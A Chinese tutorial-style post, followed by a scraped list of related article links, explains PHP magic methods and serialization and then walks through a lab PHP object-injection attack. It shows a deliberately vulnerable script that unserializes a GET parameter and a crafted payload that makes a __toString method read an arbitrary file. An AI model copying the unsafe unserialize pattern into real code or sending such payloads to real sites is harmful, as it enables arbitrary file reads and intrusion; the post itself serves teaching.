php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct, __toString, __sleep, __wakeup等等。这些函数在某些情况下会自动调用,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串使用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。可以看出,__construct在对象创建时调用,__destruct在php脚本结束时调用,__toString在对象被当作一个字符串使用时调用。这些魔术函数有点类似c++里的构造函数和析构函数。而反序列化漏洞正是利用魔术函数执行脚本。

序列化函数serialize()执行的操作是保存一个类,至于为什么要保存,可以举一个简单的例子来看一下,比如php中一个脚本b需要调用上一个脚本a的数据,而脚本b需循环多次,因为脚本a执行完后其本身的数据就会被销毁,总不可能b每次循环时都执行一遍脚本a吧,serialize()就是用来保存类的数据的,而unserialize()则是将保存的类的数据转换为一个类。

知道了这些后就可以看反序列化漏洞是如何利用魔术函数的了,先来看一个例子,以下php代码保存为test.php

<?phpclass FileClass{public $filename = 'error.log';// 当对象被作为一个字符串会读取这个文件public function __toString(){return file_get_contents($this->filename);}} class User
{  // Class data  public $age = 0;  public $name = '';  // 允许对象作为一个字符串输出上面的data  public function __toString()  {  return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';  }
}  // 用户可控  $obj = unserialize($_GET['usr_serialized']);  // 输出__toString  echo $obj;  ?>

然后创建1.txt

然后创造利用函数1.php

<?php  include 'test.php';
$fileobj = new FileClass();
$fileobj->filename = '1.txt';  echo serialize($fileobj);  ?> 

new fileclass这个类时会调用_tostring()这个魔术函数,通过指定filename为1.txt

访问http://192.168.153.138/test.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:5:"1.txt";}

成功显示了1.txt的内容。利用成功。

关于反序列化漏洞的一些理解相关推荐

  1. 序列化和反序列化漏洞的简单理解

    1 背景 2015年11月6日,FoxGlove Security安全团队的@breenmachine 发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic.Web ...

  2. java 反序列化漏洞 利用思路简介

    目录 序列化的过程 readObject方法 反射链 完成反序列漏洞实践 结论 之前听别人讲解反序列化的漏洞听的晕乎乎的,刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后 ...

  3. Typecho反序列化漏洞分析

    0x00 前言 在刷buu 的时候做到一道关于 Typecho 的题 ,[GKCTF2020]EZ三剑客-EzTypecho wp 中说到可以利用Typecho 的 反序列化 poc 来打,感觉直接用 ...

  4. 调用 php_最全的PHP反序列化漏洞的理解和应用

    原创:f1r3K0合天智汇 php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到. 01学习前最好提前掌握的知识 PHP类与对象(https://w ...

  5. php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用

    原创:f1r3K0 php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到. 01学习前最好提前掌握的知识PHP类与对象(https://www.ph ...

  6. JAVA反序列化漏洞简单理解

    反序列化原理 关于反序列化的原理不在多说,和php类似,序列化的数据是方便存储的,而存储的状态信息想要再次调用就需要反序列化 Java反序列化的API实现 实现方法 Java.io.ObjectOut ...

  7. php phar 混淆,深入理解PHP Phar反序列化漏洞原理及利用方法(一)

    Phar反序列化漏洞是一种较新的攻击向量,用于针对面向对象的PHP应用程序执行代码重用攻击,该攻击方式在Black Hat 2018会议上由安全研究员Sam Thomas公开披露.类似于对编译二进制文 ...

  8. 深入理解JNDI注入与Java反序列化漏洞利用

    rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...

  9. 个php反序列化漏洞,PHP反序列化漏洞学习(一)

    前言:PHP反序列化也是web安全中常见的一种漏洞,这次就先来大致了解一下PHP反序列化漏洞的基础知识. 一.PHP序列化和反序列化 在学习PHP反序列化漏洞时,先来了解一下基础的知识. (一)PHP ...

最新文章

  1. 335b装配程序流程图_某建设项目装配式框架结构PC构件吊装监理细则(方案)
  2. matlab mesh与surf比较
  3. LOST OF DETAIL!!!的数学原理
  4. native react 更新机制_深度使用react-native的热更新能力,必须知道的一个shell命令...
  5. 学习笔记Hadoop(十五)—— MapReduce编程进阶
  6. xfce中鼠标的“反转卷轴方向“
  7. 一步步安装Ubuntu 13.10服务版
  8. 水仙花数python代码输入一个介于3到5的正整数_Python练习题——自幂数(水仙花数)...
  9. STM32F103定时器输入捕获功能
  10. 12、常见Conditional注解源码解析-ConditionalOnBean(写作中...)
  11. Tricks(十七) —— 数组与字典(map)
  12. 【poj1995】Raising Modulo Numbers
  13. anaconda 创建,激活,退出,删除环境
  14. MySQL数据库安装教程
  15. PMP考纲解读 |【人】任务3—支持团队绩效(二)
  16. POJ 3713 枚举 + Tarjan 割点
  17. 在电脑的网络中看不到计算机,在网上邻居中看不到自己的电脑也看不到别人的解决方法...
  18. Android Studio制作.9.png图片
  19. C#:DataGridView边框线、标题、单元格的各种颜色
  20. 【安卓基础】基于Android Studio的家庭理财通项目

热门文章

  1. 消除“马路黑洞”,计讯物联智能井盖综合管理系统平台有绝招
  2. 社团检测之节点相似度指标
  3. 基于android的防抖音直播,基于vue+uniapp直播项目实现uni-app仿抖音/陌陌直播室功能...
  4. 去掉SDI工程中CView的白色边框
  5. 爬虫+数据可视化分析
  6. 2023 极术通讯-安谋科技与此芯科技携手共建Arm PC SIG
  7. 2018最新蚂蚁3期JAVA互联网高级架构师视频教程
  8. b camp;amp;b-c 什么意思在c语言里,大工20春《camp;c++语言程序设计》复习资料二...
  9. 互联网协议入门及DNS原理入门
  10. Matlab之绘制带帷幕的网格曲面图